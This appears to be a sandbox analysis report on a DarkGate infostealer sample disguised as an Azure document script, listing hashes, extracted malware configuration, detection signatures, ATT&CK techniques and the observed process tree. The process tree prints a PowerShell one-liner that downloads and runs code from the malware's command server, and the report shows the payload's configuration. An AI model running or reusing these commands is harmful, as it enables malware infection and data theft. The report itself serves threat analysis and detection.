darkgate | b3a8c88bdd9701a5ca532e0b433944e0992a3ae90e0bb974b2d091b2a01efb94

Analysis

max time kernel
145s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
20/03/2024, 01:17

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General

Target
20032024_0917_AZURE_DOC_OPEN.vbs
Size 12KB
Sample240320-bnfvnadb28
SHA256 b3a8c88bdd9701a5ca532e0b433944e0992a3ae90e0bb974b2d091b2a01efb94
MD5 802e03ffd6498ec9693848197fe4d2e5
SHA1 958dfdadcd0f21d801561b94c23b8b3d6e5f4688
SHA512 06d886eb039d120372a112c1f2c1a399d788800bd6ffc5892dd9e38f6ee4f8c7c2125e654248f2df24016276fedd52c6f7f30146d34a46ccb217b72abcbefb4a
SSDEEP 192:oMg119gkCtL3IqSPN3QzGNzUoNzhLnOdEpeLSHZgNdPR/Dnm9V4nN6UX:Ty19gR3IquNgzG2oNdOdEpeeqlPX
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

badbutperfect.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
WZqqpfdY
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/4828-30-0x0000000004B50000-0x0000000004BC3000-memory.dmp	family_darkgate_v6
behavioral2/memory/4828-32-0x0000000004B50000-0x0000000004BC3000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
15	3320	powershell.exe
19	3320	powershell.exe
38	3320	powershell.exe
39	3320	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
4828	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3320	powershell.exe
3320	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3320	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2528 wrote to memory of 3320	2528	WScript.exe	88
PID 2528 wrote to memory of 3320	2528	WScript.exe	88
PID 3320 wrote to memory of 4828	3320	powershell.exe	97
PID 3320 wrote to memory of 4828	3320	powershell.exe	97
PID 3320 wrote to memory of 4828	3320	powershell.exe	97
PID 3320 wrote to memory of 4864	3320	powershell.exe	99
PID 3320 wrote to memory of 4864	3320	powershell.exe	99

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4864	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\20032024_0917_AZURE_DOC_OPEN.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3320
- - C:\rimz\AutoHotkey.exe
    "C:\rimz\AutoHotkey.exe" script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:4828
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/rimz
    3⤵
    - Views/modifies file attributes
    PID:4864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_alypmiop.boq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_alypmiop.boq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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AutoHotkey.exe

Path C:\rimz\AutoHotkey.exe
Size 892KB
SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
MD5 a59a2d3e5dda7aca6ec879263aa42fd3
SHA1 312d496ec90eb30d5319307d47bfef602b6b8c6c
SHA512 852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030
SSDEEP 24576:bGzl9+a4Ne1nEFI56xU+0IdY2Zv952uetfbFEzP4UFhOt:b+tOWnEFZR0El0JEzQAh
MD5 SHA1 SHA512 SSDEEP

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script.ahk

Path C:\rimz\script.ahk
Size 54KB
SHA256 5aac7d31149048763e688878c3910ae4881826db80e078754f5d08f2c1f39572
MD5 f02f0bba1f1f678da41abafd02f4c545
SHA1 c40b80bc4947d4ac52bc9c17d6d218b1fa9cd452
SHA512 8b56e388781a9fb855d8352f2cf175a7e0c5bb36bacd79be719ffa0c9f4c9f6e852bd460b6e9b0b7ea47ff38aa803e43a2366bf7a2686905c05bdd9e231b5b22
SSDEEP 768:R+DU1jsKEUvbTTai3Yi/97mhk0uMOUOPloZOM5Om6aX4q6tdxGFpZnBQ1ioHH1NT:EUTPeAZl7m+Ualg5OmnmtKWhoE+W
MD5 SHA1 SHA512 SSDEEP

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test.txt

Path C:\rimz\test.txt
Size 915KB
SHA256 a39dba6db04a85050ba7949881769f4b006b4a8edf691a605bfa5fe7c24d3489
MD5 4e1b052f107d2ee5321b44fc0e107638
SHA1 679e1f8006a2d6ed61f0dbaf5e9d3cd252421cd4
SHA512 5c4d1907ef2cbc894e8e33d268160a88e9db2d1a081676cba9d8fcfda4c120458a2ed90d44b2963accc842b03fac9bf231145d5991899bf6ab4871d9b65c2cb1
SSDEEP 12288:vc3328odCsUUZ3OyLiF+Tvpw6ZlOZPjOw9SJldrww+v8BU9K+GuMJvuK0PpoWWnX:WdGp8q
MD5 SHA1 SHA512 SSDEEP

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memory/3320-9-0x000001FCEFAE0000-0x000001FCEFB02000-memory.dmp

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memory/3320-10-0x00007FFA63540000-0x00007FFA64001000-memory.dmp

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memory/3320-11-0x000001FCED760000-0x000001FCED770000-memory.dmp

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memory/3320-12-0x000001FCF01A0000-0x000001FCF0362000-memory.dmp

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memory/3320-27-0x00007FFA63540000-0x00007FFA64001000-memory.dmp

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memory/4828-30-0x0000000004B50000-0x0000000004BC3000-memory.dmp

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memory/4828-32-0x0000000004B50000-0x0000000004BC3000-memory.dmp

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